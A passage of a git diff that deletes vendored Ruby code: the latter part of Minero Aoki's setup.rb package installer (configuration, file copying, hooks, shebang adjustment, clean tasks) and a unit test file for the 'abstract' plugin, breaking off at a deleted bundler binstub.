-  end
-end
-
-unless Enumerable.method_defined?(:any?)
-  module Enumerable
-    def any?
-      each do |i|
-        return true if yield(i)
-      end
-      false
-    end
-  end
-end
-
-unless File.respond_to?(:read)
-  def File.read(fname)
-    open(fname) {|f|
-      return f.read
-    }
-  end
-end
-
-#
-# Application independent utilities
-#
-
-def File.binread(fname)
-  open(fname, 'rb') {|f|
-    return f.read
-  }
-end
-
-# for corrupted windows stat(2)
-def File.dir?(path)
-  File.directory?((path[-1,1] == '/') ? path : path + '/')
-end
-
-#
-# Config
-#
-
-if arg = ARGV.detect{|arg| /\A--rbconfig=/ =~ arg }
-  ARGV.delete(arg)
-  require arg.split(/=/, 2)[1]
-  $".push 'rbconfig.rb'
-else
-  require 'rbconfig'
-end
-
-def multipackage_install?
-  FileTest.directory?(File.dirname($0) + '/packages')
-end
-
-
-class ConfigTable
-
-  c = ::Config::CONFIG
-
-  rubypath = c['bindir'] + '/' + c['ruby_install_name']
-
-  major = c['MAJOR'].to_i
-  minor = c['MINOR'].to_i
-  teeny = c['TEENY'].to_i
-  version = "#{major}.#{minor}"
-
-  # ruby ver. >= 1.4.4?
-  newpath_p = ((major >= 2) or
-               ((major == 1) and
-                ((minor >= 5) or
-                 ((minor == 4) and (teeny >= 4)))))
-  
-  subprefix = lambda {|path|
-    path.sub(/\A#{Regexp.quote(c['prefix'])}/o, '$prefix')
-  }
-
-  if c['rubylibdir']
-    # V < 1.6.3
-    stdruby    = subprefix.call(c['rubylibdir'])
-    siteruby   = subprefix.call(c['sitedir'])
-    versite    = subprefix.call(c['sitelibdir'])
-    sodir      = subprefix.call(c['sitearchdir'])
-  elsif newpath_p
-    # 1.4.4 <= V <= 1.6.3
-    stdruby    = "$prefix/lib/ruby/#{version}"
-    siteruby   = subprefix.call(c['sitedir'])
-    versite    = siteruby + '/' + version
-    sodir      = "$site-ruby/#{c['arch']}"
-  else
-    # V < 1.4.4
-    stdruby    = "$prefix/lib/ruby/#{version}"
-    siteruby   = "$prefix/lib/ruby/#{version}/site_ruby"
-    versite    = siteruby
-    sodir      = "$site-ruby/#{c['arch']}"
-  end
-
-  if arg = c['configure_args'].split.detect {|arg| /--with-make-prog=/ =~ arg }
-    makeprog = arg.sub(/'/, '').split(/=/, 2)[1]
-  else
-    makeprog = 'make'
-  end
-
-  common_descripters = [
-    [ 'prefix',    [ c['prefix'],
-                     'path',
-                     'path prefix of target environment' ] ],
-    [ 'std-ruby',  [ stdruby,
-                     'path',
-                     'the directory for standard ruby libraries' ] ],
-    [ 'site-ruby-common', [ siteruby,
-                     'path',
-                     'the directory for version-independent non-standard ruby libraries' ] ],
-    [ 'site-ruby', [ versite,
-                     'path',
-                     'the directory for non-standard ruby libraries' ] ],
-    [ 'bin-dir',   [ '$prefix/bin',
-                     'path',
-                     'the directory for commands' ] ],
-    [ 'rb-dir',    [ '$site-ruby',
-                     'path',
-                     'the directory for ruby scripts' ] ],
-    [ 'so-dir',    [ sodir,
-                     'path',
-                     'the directory for ruby extentions' ] ],
-    [ 'data-dir',  [ '$prefix/share',
-                     'path',
-                     'the directory for shared data' ] ],
-    [ 'ruby-path', [ rubypath,
-                     'path',
-                     'path to set to #! line' ] ],
-    [ 'ruby-prog', [ rubypath,
-                     'name',
-                     'the ruby program using for installation' ] ],
-    [ 'make-prog', [ makeprog,
-                     'name',
-                     'the make program to compile ruby extentions' ] ],
-    [ 'without-ext', [ 'no',
-                       'yes/no',
-                       'does not compile/install ruby extentions' ] ]
-  ]
-  multipackage_descripters = [
-    [ 'with',      [ '',
-                     'name,name...',
-                     'package names that you want to install',
-                     'ALL' ] ],
-    [ 'without',   [ '',
-                     'name,name...',
-                     'package names that you do not want to install',
-                     'NONE' ] ]
-  ]
-  if multipackage_install?
-    DESCRIPTER = common_descripters + multipackage_descripters
-  else
-    DESCRIPTER = common_descripters
-  end
-
-  SAVE_FILE = 'config.save'
-
-  def ConfigTable.each_name(&block)
-    keys().each(&block)
-  end
-
-  def ConfigTable.keys
-    DESCRIPTER.map {|name, *dummy| name }
-  end
-
-  def ConfigTable.each_definition(&block)
-    DESCRIPTER.each(&block)
-  end
-
-  def ConfigTable.get_entry(name)
-    name, ent = DESCRIPTER.assoc(name)
-    ent
-  end
-
-  def ConfigTable.get_entry!(name)
-    get_entry(name) or raise ArgumentError, "no such config: #{name}"
-  end
-
-  def ConfigTable.add_entry(name, vals)
-    ConfigTable::DESCRIPTER.push [name,vals]
-  end
-
-  def ConfigTable.remove_entry(name)
-    get_entry(name) or raise ArgumentError, "no such config: #{name}"
-    DESCRIPTER.delete_if {|n, arr| n == name }
-  end
-
-  def ConfigTable.config_key?(name)
-    get_entry(name) ? true : false
-  end
-
-  def ConfigTable.bool_config?(name)
-    ent = get_entry(name) or return false
-    ent[1] == 'yes/no'
-  end
-
-  def ConfigTable.value_config?(name)
-    ent = get_entry(name) or return false
-    ent[1] != 'yes/no'
-  end
-
-  def ConfigTable.path_config?(name)
-    ent = get_entry(name) or return false
-    ent[1] == 'path'
-  end
-
-
-  class << self
-    alias newobj new
-  end
-
-  def ConfigTable.new
-    c = newobj()
-    c.initialize_from_table
-    c
-  end
-
-  def ConfigTable.load
-    c = newobj()
-    c.initialize_from_file
-    c
-  end
-
-  def initialize_from_table
-    @table = {}
-    DESCRIPTER.each do |k, (default, vname, desc, default2)|
-      @table[k] = default
-    end
-  end
-
-  def initialize_from_file
-    raise InstallError, "#{File.basename $0} config first"\
-        unless File.file?(SAVE_FILE)
-    @table = {}
-    File.foreach(SAVE_FILE) do |line|
-      k, v = line.split(/=/, 2)
-      @table[k] = v.strip
-    end
-  end
-
-  def save
-    File.open(SAVE_FILE, 'w') {|f|
-      @table.each do |k, v|
-        f.printf "%s=%s\n", k, v if v
-      end
-    }
-  end
-
-  def []=(k, v)
-    raise InstallError, "unknown config option #{k}"\
-        unless ConfigTable.config_key?(k)
-    @table[k] = v
-  end
-    
-  def [](key)
-    return nil unless @table[key]
-    @table[key].gsub(%r<\$([^/]+)>) { self[$1] }
-  end
-
-  def set_raw(key, val)
-    @table[key] = val
-  end
-
-  def get_raw(key)
-    @table[key]
-  end
-
-end
-
-
-module MetaConfigAPI
-
-  def eval_file_ifexist(fname)
-    instance_eval File.read(fname), fname, 1 if File.file?(fname)
-  end
-
-  def config_names
-    ConfigTable.keys
-  end
-
-  def config?(name)
-    ConfigTable.config_key?(name)
-  end
-
-  def bool_config?(name)
-    ConfigTable.bool_config?(name)
-  end
-
-  def value_config?(name)
-    ConfigTable.value_config?(name)
-  end
-
-  def path_config?(name)
-    ConfigTable.path_config?(name)
-  end
-
-  def add_config(name, argname, default, desc)
-    ConfigTable.add_entry name,[default,argname,desc]
-  end
-
-  def add_path_config(name, default, desc)
-    add_config name, 'path', default, desc
-  end
-
-  def add_bool_config(name, default, desc)
-    add_config name, 'yes/no', default ? 'yes' : 'no', desc
-  end
-
-  def set_config_default(name, default)
-    if bool_config?(name)
-      ConfigTable.get_entry!(name)[0] = (default ? 'yes' : 'no')
-    else
-      ConfigTable.get_entry!(name)[0] = default
-    end
-  end
-
-  def remove_config(name)
-    ent = ConfigTable.get_entry(name)
-    ConfigTable.remove_entry name
-    ent
-  end
-
-end
-
-#
-# File Operations
-#
-
-module FileOperations
-
-  def mkdir_p(dirname, prefix = nil)
-    dirname = prefix + dirname if prefix
-    $stderr.puts "mkdir -p #{dirname}" if verbose?
-    return if no_harm?
-
-    # does not check '/'... it's too abnormal case
-    dirs = dirname.split(%r<(?=/)>)
-    if /\A[a-z]:\z/i =~ dirs[0]
-      disk = dirs.shift
-      dirs[0] = disk + dirs[0]
-    end
-    dirs.each_index do |idx|
-      path = dirs[0..idx].join('')
-      Dir.mkdir path unless File.dir?(path)
-    end
-  end
-
-  def rm_f(fname)
-    $stderr.puts "rm -f #{fname}" if verbose?
-    return if no_harm?
-
-    if File.exist?(fname) or File.symlink?(fname)
-      File.chmod 0777, fname
-      File.unlink fname
-    end
-  end
-
-  def rm_rf(dn)
-    $stderr.puts "rm -rf #{dn}" if verbose?
-    return if no_harm?
-
-    Dir.chdir dn
-    Dir.foreach('.') do |fn|
-      next if fn == '.'
-      next if fn == '..'
-      if File.dir?(fn)
-        verbose_off {
-          rm_rf fn
-        }
-      else
-        verbose_off {
-          rm_f fn
-        }
-      end
-    end
-    Dir.chdir '..'
-    Dir.rmdir dn
-  end
-
-  def move_file(src, dest)
-    File.unlink dest if File.exist?(dest)
-    begin
-      File.rename src, dest
-    rescue
-      File.open(dest, 'wb') {|f| f.write File.binread(src) }
-      File.chmod File.stat(src).mode, dest
-      File.unlink src
-    end
-  end
-
-  def install(from, dest, mode, prefix = nil)
-    $stderr.puts "install #{from} #{dest}" if verbose?
-    return if no_harm?
-
-    realdest = prefix + dest if prefix
-    realdest = File.join(realdest, File.basename(from)) if File.dir?(realdest)
-    str = File.binread(from)
-    if diff?(str, realdest)
-      verbose_off {
-        rm_f realdest if File.exist?(realdest)
-      }
-      File.open(realdest, 'wb') {|f|
-        f.write str
-      }
-      File.chmod mode, realdest
-
-      File.open("#{objdir_root()}/InstalledFiles", 'a') {|f|
-        if prefix
-          f.puts realdest.sub(prefix, '')
-        else
-          f.puts realdest
-        end
-      }
-    end
-  end
-
-  def diff?(new_content, path)
-    return true unless File.exist?(path)
-    new_content != File.binread(path)
-  end
-
-  def command(str)
-    $stderr.puts str if verbose?
-    system str or raise RuntimeError, "'system #{str}' failed"
-  end
-
-  def ruby(str)
-    command config('ruby-prog') + ' ' + str
-  end
-  
-  def make(task = '')
-    command config('make-prog') + ' ' + task
-  end
-
-  def extdir?(dir)
-    File.exist?(dir + '/MANIFEST')
-  end
-
-  def all_files_in(dirname)
-    Dir.open(dirname) {|d|
-      return d.select {|ent| File.file?("#{dirname}/#{ent}") }
-    }
-  end
-
-  REJECT_DIRS = %w(
-    CVS SCCS RCS CVS.adm
-  )
-
-  def all_dirs_in(dirname)
-    Dir.open(dirname) {|d|
-      return d.select {|n| File.dir?("#{dirname}/#{n}") } - %w(. ..) - REJECT_DIRS
-    }
-  end
-
-end
-
-#
-# Main Installer
-#
-
-class InstallError < StandardError; end
-
-
-module HookUtils
-
-  def run_hook(name)
-    try_run_hook "#{curr_srcdir()}/#{name}" or
-    try_run_hook "#{curr_srcdir()}/#{name}.rb"
-  end
-
-  def try_run_hook(fname)
-    return false unless File.file?(fname)
-    begin
-      instance_eval File.read(fname), fname, 1
-    rescue
-      raise InstallError, "hook #{fname} failed:\n" + $!.message
-    end
-    true
-  end
-
-end
-
-
-module HookScriptAPI
-
-  def get_config(key)
-    @config[key]
-  end
-
-  alias config get_config
-
-  def set_config(key, val)
-    @config[key] = val
-  end
-
-  #
-  # srcdir/objdir (works only in the package directory)
-  #
-
-  #abstract srcdir_root
-  #abstract objdir_root
-  #abstract relpath
-
-  def curr_srcdir
-    "#{srcdir_root()}/#{relpath()}"
-  end
-
-  def curr_objdir
-    "#{objdir_root()}/#{relpath()}"
-  end
-
-  def srcfile(path)
-    "#{curr_srcdir()}/#{path}"
-  end
-
-  def srcexist?(path)
-    File.exist?(srcfile(path))
-  end
-
-  def srcdirectory?(path)
-    File.dir?(srcfile(path))
-  end
-  
-  def srcfile?(path)
-    File.file? srcfile(path)
-  end
-
-  def srcentries(path = '.')
-    Dir.open("#{curr_srcdir()}/#{path}") {|d|
-      return d.to_a - %w(. ..)
-    }
-  end
-
-  def srcfiles(path = '.')
-    srcentries(path).select {|fname|
-      File.file?(File.join(curr_srcdir(), path, fname))
-    }
-  end
-
-  def srcdirectories(path = '.')
-    srcentries(path).select {|fname|
-      File.dir?(File.join(curr_srcdir(), path, fname))
-    }
-  end
-
-end
-
-
-class ToplevelInstaller
-
-  Version   = '3.2.4'
-  Copyright = 'Copyright (c) 2000-2004 Minero Aoki'
-
-  TASKS = [
-    [ 'config',   'saves your configurations' ],
-    [ 'show',     'shows current configuration' ],
-    [ 'setup',    'compiles ruby extentions and others' ],
-    [ 'install',  'installs files' ],
-    [ 'clean',    "does `make clean' for each extention" ],
-    [ 'distclean',"does `make distclean' for each extention" ]
-  ]
-
-  def ToplevelInstaller.invoke
-    instance().invoke
-  end
-
-  @singleton = nil
-
-  def ToplevelInstaller.instance
-    @singleton ||= new(File.dirname($0))
-    @singleton
-  end
-
-  include MetaConfigAPI
-
-  def initialize(ardir_root)
-    @config = nil
-    @options = { 'verbose' => true }
-    @ardir = File.expand_path(ardir_root)
-  end
-
-  def inspect
-    "#<#{self.class} #{__id__()}>"
-  end
-
-  def invoke
-    run_metaconfigs
-    task = parsearg_global()
-    @config = load_config(task)
-    __send__ "parsearg_#{task}"
-    init_installers
-    __send__ "exec_#{task}"
-  end
-
-  def run_metaconfigs
-    eval_file_ifexist "#{@ardir}/metaconfig"
-  end
-
-  def load_config(task)
-    case task
-    when 'config'
-      ConfigTable.new
-    when 'clean', 'distclean'
-      if File.exist?('config.save')
-      then ConfigTable.load
-      else ConfigTable.new
-      end
-    else
-      ConfigTable.load
-    end
-  end
-
-  def init_installers
-    @installer = Installer.new(@config, @options, @ardir, File.expand_path('.'))
-  end
-
-  #
-  # Hook Script API bases
-  #
-
-  def srcdir_root
-    @ardir
-  end
-
-  def objdir_root
-    '.'
-  end
-
-  def relpath
-    '.'
-  end
-
-  #
-  # Option Parsing
-  #
-
-  def parsearg_global
-    valid_task = /\A(?:#{TASKS.map {|task,desc| task }.join '|'})\z/
-
-    while arg = ARGV.shift
-      case arg
-      when /\A\w+\z/
-        raise InstallError, "invalid task: #{arg}" unless valid_task =~ arg
-        return arg
-
-      when '-q', '--quiet'
-        @options['verbose'] = false
-
-      when       '--verbose'
-        @options['verbose'] = true
-
-      when '-h', '--help'
-        print_usage $stdout
-        exit 0
-
-      when '-v', '--version'
-        puts "#{File.basename($0)} version #{Version}"
-        exit 0
-      
-      when '--copyright'
-        puts Copyright
-        exit 0
-
-      else
-        raise InstallError, "unknown global option '#{arg}'"
-      end
-    end
-
-    raise InstallError, <<EOS
-No task or global option given.
-Typical installation procedure is:
-    $ ruby #{File.basename($0)} config
-    $ ruby #{File.basename($0)} setup
-    # ruby #{File.basename($0)} install  (may require root privilege)
-EOS
-  end
-
-
-  def parsearg_no_options
-    raise InstallError, "#{task}:  unknown options: #{ARGV.join ' '}"\
-        unless ARGV.empty?
-  end
-
-  alias parsearg_show       parsearg_no_options
-  alias parsearg_setup      parsearg_no_options
-  alias parsearg_clean      parsearg_no_options
-  alias parsearg_distclean  parsearg_no_options
-
-  def parsearg_config
-    re = /\A--(#{ConfigTable.keys.join '|'})(?:=(.*))?\z/
-    @options['config-opt'] = []
-
-    while i = ARGV.shift
-      if /\A--?\z/ =~ i
-        @options['config-opt'] = ARGV.dup
-        break
-      end
-      m = re.match(i) or raise InstallError, "config: unknown option #{i}"
-      name, value = m.to_a[1,2]
-      if value
-        if ConfigTable.bool_config?(name)
-          raise InstallError, "config: --#{name} allows only yes/no for argument"\
-              unless /\A(y(es)?|n(o)?|t(rue)?|f(alse))\z/i =~ value
-          value = (/\Ay(es)?|\At(rue)/i =~ value) ? 'yes' : 'no'
-        end
-      else
-        raise InstallError, "config: --#{name} requires argument"\
-            unless ConfigTable.bool_config?(name)
-        value = 'yes'
-      end
-      @config[name] = value
-    end
-  end
-
-  def parsearg_install
-    @options['no-harm'] = false
-    @options['install-prefix'] = ''
-    while a = ARGV.shift
-      case a
-      when /\A--no-harm\z/
-        @options['no-harm'] = true
-      when /\A--prefix=(.*)\z/
-        path = $1
-        path = File.expand_path(path) unless path[0,1] == '/'
-        @options['install-prefix'] = path
-      else
-        raise InstallError, "install: unknown option #{a}"
-      end
-    end
-  end
-
-  def print_usage(out)
-    out.puts 'Typical Installation Procedure:'
-    out.puts "  $ ruby #{File.basename $0} config"
-    out.puts "  $ ruby #{File.basename $0} setup"
-    out.puts "  # ruby #{File.basename $0} install (may require root privilege)"
-    out.puts
-    out.puts 'Detailed Usage:'
-    out.puts "  ruby #{File.basename $0} <global option>"
-    out.puts "  ruby #{File.basename $0} [<global options>] <task> [<task options>]"
-
-    fmt = "  %-20s %s\n"
-    out.puts
-    out.puts 'Global options:'
-    out.printf fmt, '-q,--quiet',   'suppress message outputs'
-    out.printf fmt, '   --verbose', 'output messages verbosely'
-    out.printf fmt, '-h,--help',    'print this message'
-    out.printf fmt, '-v,--version', 'print version and quit'
-    out.printf fmt, '   --copyright',  'print copyright and quit'
-
-    out.puts
-    out.puts 'Tasks:'
-    TASKS.each do |name, desc|
-      out.printf "  %-10s  %s\n", name, desc
-    end
-
-    out.puts
-    out.puts 'Options for config:'
-    ConfigTable.each_definition do |name, (default, arg, desc, default2)|
-      out.printf "  %-20s %s [%s]\n",
-                 '--'+ name + (ConfigTable.bool_config?(name) ? '' : '='+arg),
-                 desc,
-                 default2 || default
-    end
-    out.printf "  %-20s %s [%s]\n",
-        '--rbconfig=path', 'your rbconfig.rb to load', "running ruby's"
-
-    out.puts
-    out.puts 'Options for install:'
-    out.printf "  %-20s %s [%s]\n",
-        '--no-harm', 'only display what to do if given', 'off'
-    out.printf "  %-20s %s [%s]\n",
-        '--prefix',  'install path prefix', '$prefix'
-
-    out.puts
-  end
-
-  #
-  # Task Handlers
-  #
-
-  def exec_config
-    @installer.exec_config
-    @config.save   # must be final
-  end
-
-  def exec_setup
-    @installer.exec_setup
-  end
-
-  def exec_install
-    @installer.exec_install
-  end
-
-  def exec_show
-    ConfigTable.each_name do |k|
-      v = @config.get_raw(k)
-      if not v or v.empty?
-        v = '(not specified)'
-      end
-      printf "%-10s %s\n", k, v
-    end
-  end
-
-  def exec_clean
-    @installer.exec_clean
-  end
-
-  def exec_distclean
-    @installer.exec_distclean
-  end
-
-end
-
-
-class ToplevelInstallerMulti < ToplevelInstaller
-
-  include HookUtils
-  include HookScriptAPI
-  include FileOperations
-
-  def initialize(ardir)
-    super
-    @packages = all_dirs_in("#{@ardir}/packages")
-    raise 'no package exists' if @packages.empty?
-  end
-
-  def run_metaconfigs
-    eval_file_ifexist "#{@ardir}/metaconfig"
-    @packages.each do |name|
-      eval_file_ifexist "#{@ardir}/packages/#{name}/metaconfig"
-    end
-  end
-
-  def init_installers
-    @installers = {}
-    @packages.each do |pack|
-      @installers[pack] = Installer.new(@config, @options,
-                                       "#{@ardir}/packages/#{pack}",
-                                       "packages/#{pack}")
-    end
-
-    with    = extract_selection(config('with'))
-    without = extract_selection(config('without'))
-    @selected = @installers.keys.select {|name|
-                  (with.empty? or with.include?(name)) \
-                      and not without.include?(name)
-                }
-  end
-
-  def extract_selection(list)
-    a = list.split(/,/)
-    a.each do |name|
-      raise InstallError, "no such package: #{name}" \
-              unless @installers.key?(name)
-    end
-    a
-  end
-
-  def print_usage(f)
-    super
-    f.puts 'Inluded packages:'
-    f.puts '  ' + @packages.sort.join(' ')
-    f.puts
-  end
-
-  #
-  # multi-package metaconfig API
-  #
-
-  attr_reader :packages
-
-  def declare_packages(list)
-    raise 'package list is empty' if list.empty?
-    list.each do |name|
-      raise "directory packages/#{name} does not exist"\
-              unless File.dir?("#{@ardir}/packages/#{name}")
-    end
-    @packages = list
-  end
-
-  #
-  # Task Handlers
-  #
-
-  def exec_config
-    run_hook 'pre-config'
-    each_selected_installers {|inst| inst.exec_config }
-    run_hook 'post-config'
-    @config.save   # must be final
-  end
-
-  def exec_setup
-    run_hook 'pre-setup'
-    each_selected_installers {|inst| inst.exec_setup }
-    run_hook 'post-setup'
-  end
-
-  def exec_install
-    run_hook 'pre-install'
-    each_selected_installers {|inst| inst.exec_install }
-    run_hook 'post-install'
-  end
-
-  def exec_clean
-    rm_f 'config.save'
-    run_hook 'pre-clean'
-    each_selected_installers {|inst| inst.exec_clean }
-    run_hook 'post-clean'
-  end
-
-  def exec_distclean
-    rm_f 'config.save'
-    run_hook 'pre-distclean'
-    each_selected_installers {|inst| inst.exec_distclean }
-    run_hook 'post-distclean'
-  end
-
-  #
-  # lib
-  #
-
-  def each_selected_installers
-    Dir.mkdir 'packages' unless File.dir?('packages')
-    @selected.each do |pack|
-      $stderr.puts "Processing the package `#{pack}' ..." if @options['verbose']
-      Dir.mkdir "packages/#{pack}" unless File.dir?("packages/#{pack}")
-      Dir.chdir "packages/#{pack}"
-      yield @installers[pack]
-      Dir.chdir '../..'
-    end
-  end
-
-  def verbose?
-    @options['verbose']
-  end
-
-  def no_harm?
-    @options['no-harm']
-  end
-
-end
-
-
-class Installer
-
-  FILETYPES = %w( bin lib ext data )
-
-  include HookScriptAPI
-  include HookUtils
-  include FileOperations
-
-  def initialize(config, opt, srcroot, objroot)
-    @config = config
-    @options = opt
-    @srcdir = File.expand_path(srcroot)
-    @objdir = File.expand_path(objroot)
-    @currdir = '.'
-  end
-
-  def inspect
-    "#<#{self.class} #{File.basename(@srcdir)}>"
-  end
-
-  #
-  # Hook Script API bases
-  #
-
-  def srcdir_root
-    @srcdir
-  end
-
-  def objdir_root
-    @objdir
-  end
-
-  def relpath
-    @currdir
-  end
-
-  #
-  # configs/options
-  #
-
-  def no_harm?
-    @options['no-harm']
-  end
-
-  def verbose?
-    @options['verbose']
-  end
-
-  def verbose_off
-    begin
-      save, @options['verbose'] = @options['verbose'], false
-      yield
-    ensure
-      @options['verbose'] = save
-    end
-  end
-
-  #
-  # TASK config
-  #
-
-  def exec_config
-    exec_task_traverse 'config'
-  end
-
-  def config_dir_bin(rel)
-  end
-
-  def config_dir_lib(rel)
-  end
-
-  def config_dir_ext(rel)
-    extconf if extdir?(curr_srcdir())
-  end
-
-  def extconf
-    opt = @options['config-opt'].join(' ')
-    command "#{config('ruby-prog')} #{curr_srcdir()}/extconf.rb #{opt}"
-  end
-
-  def config_dir_data(rel)
-  end
-
-  #
-  # TASK setup
-  #
-
-  def exec_setup
-    exec_task_traverse 'setup'
-  end
-
-  def setup_dir_bin(rel)
-    all_files_in(curr_srcdir()).each do |fname|
-      adjust_shebang "#{curr_srcdir()}/#{fname}"
-    end
-  end
-
-  # modify: #!/usr/bin/ruby
-  # modify: #! /usr/bin/ruby
-  # modify: #!ruby
-  # not modify: #!/usr/bin/env ruby
-  SHEBANG_RE = /\A\#!\s*\S*ruby\S*/
-
-  def adjust_shebang(path)
-    return if no_harm?
-
-    tmpfile = File.basename(path) + '.tmp'
-    begin
-      File.open(path, 'rb') {|r|
-        File.open(tmpfile, 'wb') {|w|
-          first = r.gets
-          return unless SHEBANG_RE =~ first
-
-          $stderr.puts "adjusting shebang: #{File.basename path}" if verbose?
-          w.print first.sub(SHEBANG_RE, '#!' + config('ruby-path'))
-          w.write r.read
-        }
-      }
-      move_file tmpfile, File.basename(path)
-    ensure
-      File.unlink tmpfile if File.exist?(tmpfile)
-    end
-  end
-
-  def setup_dir_lib(rel)
-  end
-
-  def setup_dir_ext(rel)
-    make if extdir?(curr_srcdir())
-  end
-
-  def setup_dir_data(rel)
-  end
-
-  #
-  # TASK install
-  #
-
-  def exec_install
-    exec_task_traverse 'install'
-  end
-
-  def install_dir_bin(rel)
-    install_files collect_filenames_auto(), "#{config('bin-dir')}/#{rel}", 0755
-  end
-
-  def install_dir_lib(rel)
-    install_files ruby_scripts(), "#{config('rb-dir')}/#{rel}", 0644
-  end
-
-  def install_dir_ext(rel)
-    return unless extdir?(curr_srcdir())
-    install_files ruby_extentions('.'),
-                  "#{config('so-dir')}/#{File.dirname(rel)}",
-                  0555
-  end
-
-  def install_dir_data(rel)
-    install_files collect_filenames_auto(), "#{config('data-dir')}/#{rel}", 0644
-  end
-
-  def install_files(list, dest, mode)
-    mkdir_p dest, @options['install-prefix']
-    list.each do |fname|
-      install fname, dest, mode, @options['install-prefix']
-    end
-  end
-
-  def ruby_scripts
-    collect_filenames_auto().select {|n| /\.rb\z/ =~ n }
-  end
-  
-  # picked up many entries from cvs-1.11.1/src/ignore.c
-  reject_patterns = %w( 
-    core RCSLOG tags TAGS .make.state
-    .nse_depinfo #* .#* cvslog.* ,* .del-* *.olb
-    *~ *.old *.bak *.BAK *.orig *.rej _$* *$
-
-    *.org *.in .*
-  )
-  mapping = {
-    '.' => '\.',
-    '$' => '\$',
-    '#' => '\#',
-    '*' => '.*'
-  }
-  REJECT_PATTERNS = Regexp.new('\A(?:' +
-                               reject_patterns.map {|pat|
-                                 pat.gsub(/[\.\$\#\*]/) {|ch| mapping[ch] }
-                               }.join('|') +
-                               ')\z')
-
-  def collect_filenames_auto
-    mapdir((existfiles() - hookfiles()).reject {|fname|
-             REJECT_PATTERNS =~ fname
-           })
-  end
-
-  def existfiles
-    all_files_in(curr_srcdir()) | all_files_in('.')
-  end
-
-  def hookfiles
-    %w( pre-%s post-%s pre-%s.rb post-%s.rb ).map {|fmt|
-      %w( config setup install clean ).map {|t| sprintf(fmt, t) }
-    }.flatten
-  end
-
-  def mapdir(filelist)
-    filelist.map {|fname|
-      if File.exist?(fname)   # objdir
-        fname
-      else                    # srcdir
-        File.join(curr_srcdir(), fname)
-      end
-    }
-  end
-
-  def ruby_extentions(dir)
-    _ruby_extentions(dir) or
-        raise InstallError, "no ruby extention exists: 'ruby #{$0} setup' first"
-  end
-
-  DLEXT = /\.#{ ::Config::CONFIG['DLEXT'] }\z/
-
-  def _ruby_extentions(dir)
-    Dir.open(dir) {|d|
-      return d.select {|fname| DLEXT =~ fname }
-    }
-  end
-
-  #
-  # TASK clean
-  #
-
-  def exec_clean
-    exec_task_traverse 'clean'
-    rm_f 'config.save'
-    rm_f 'InstalledFiles'
-  end
-
-  def clean_dir_bin(rel)
-  end
-
-  def clean_dir_lib(rel)
-  end
-
-  def clean_dir_ext(rel)
-    return unless extdir?(curr_srcdir())
-    make 'clean' if File.file?('Makefile')
-  end
-
-  def clean_dir_data(rel)
-  end
-
-  #
-  # TASK distclean
-  #
-
-  def exec_distclean
-    exec_task_traverse 'distclean'
-    rm_f 'config.save'
-    rm_f 'InstalledFiles'
-  end
-
-  def distclean_dir_bin(rel)
-  end
-
-  def distclean_dir_lib(rel)
-  end
-
-  def distclean_dir_ext(rel)
-    return unless extdir?(curr_srcdir())
-    make 'distclean' if File.file?('Makefile')
-  end
-
-  #
-  # lib
-  #
-
-  def exec_task_traverse(task)
-    run_hook "pre-#{task}"
-    FILETYPES.each do |type|
-      if config('without-ext') == 'yes' and type == 'ext'
-        $stderr.puts 'skipping ext/* by user option' if verbose?
-        next
-      end
-      traverse task, type, "#{task}_dir_#{type}"
-    end
-    run_hook "post-#{task}"
-  end
-
-  def traverse(task, rel, mid)
-    dive_into(rel) {
-      run_hook "pre-#{task}"
-      __send__ mid, rel.sub(%r[\A.*?(?:/|\z)], '')
-      all_dirs_in(curr_srcdir()).each do |d|
-        traverse task, "#{rel}/#{d}", mid
-      end
-      run_hook "post-#{task}"
-    }
-  end
-
-  def dive_into(rel)
-    return unless File.dir?("#{@srcdir}/#{rel}")
-
-    dir = File.basename(rel)
-    Dir.mkdir dir unless File.dir?(dir)
-    prevdir = Dir.pwd
-    Dir.chdir dir
-    $stderr.puts '---> ' + rel if verbose?
-    @currdir = rel
-    yield
-    Dir.chdir prevdir
-    $stderr.puts '<--- ' + rel if verbose?
-    @currdir = File.dirname(rel)
-  end
-
-end
-
-
-if $0 == __FILE__
-  begin
-    if multipackage_install?
-      ToplevelInstallerMulti.invoke
-    else
-      ToplevelInstaller.invoke
-    end
-  rescue
-    raise if $DEBUG
-    $stderr.puts $!.message
-    $stderr.puts "Try 'ruby #{$0} --help' for detailed usage."
-    exit 1
-  end
-end
diff --git a/vendor/plugins/abstract_1.0.0/test/test.rb b/vendor/plugins/abstract_1.0.0/test/test.rb
deleted file mode 100644
index f53e7990..00000000
--- a/vendor/plugins/abstract_1.0.0/test/test.rb
+++ /dev/null
@@ -1,91 +0,0 @@
-##
-## $Rev: 1 $
-## $Release: 1.0.0 $
-## copyright(c) 2006 kuwata-lab.com all rights reserved.
-##
-
-testdir = File.dirname(File.expand_path(__FILE__))
-libdir  = File.dirname(testdir) + "/lib"
-$: << libdir
-
-
-require 'test/unit'
-require 'abstract'
-
-
-class Foo
-  abstract_method "arg1, arg2=''", :m1, :m2, :m3
-end
-
-
-class Bar
-  def m1(arg1, arg2='')
-    not_implemented
-  end
-end
-
-
-
-class AbstractTest < Test::Unit::TestCase
-
-
-  def _test(obj)
-    assert_raise(NotImplementedError) do
-      begin
-        obj = Foo.new
-        obj.m1 'a'
-      rescue => ex
-        linenum = (ex.backtrace[0] =~ /:(\d+)/) && $1
-        raise ex
-      end
-    end
-  end
-
-
-  def test_abstract_method1
-    obj = Foo.new
-    assert_raise(NotImplementedError) { obj.m1 'a' }
-    assert_raise(NotImplementedError) { obj.m2 'a', 'b' }
-  end
-
-
-  def test_abstract_method2
-    begin
-      obj = Foo.new
-      linenum = __LINE__; obj.m1 'a'
-    rescue NotImplementedError => ex
-      actual_linenum = (ex.backtrace[0] =~ /:(\d+)/) && $1.to_i
-    end
-    assert_equal linenum, actual_linenum
-  end
-
-
-  def test_not_implemented1
-    obj = Bar.new
-    assert_raise(NotImplementedError) { obj.m1 123 }
-  end
-
-
-  def test_not_implemented2
-    begin
-      obj = Bar.new
-      linenum = __LINE__; obj.m1 'a'
-    rescue NotImplementedError => ex
-      actual_linenum = (ex.backtrace[0] =~ /:(\d+)/) && $1.to_i
-    end
-    assert_equal linenum, actual_linenum
-  end
-
-
-  def test_not_implemented3
-    begin
-      obj = Bar.new
-      obj.not_implemented
-    rescue Exception => ex
-      assert_instance_of(NoMethodError, ex)
-      assert_match(/private method/, ex.message)
-    end
-  end
-
-
-end
diff --git a/vendor/plugins/bundler/bin/bundle b/vendor/plugins/bundler/bin/bundle
deleted file mode 100755
index 3d7e4838..00000000
--- a/vendor/plugins/bundler/bin/bundle
+++ /dev/null
@@ -1,19 +0,0 @@
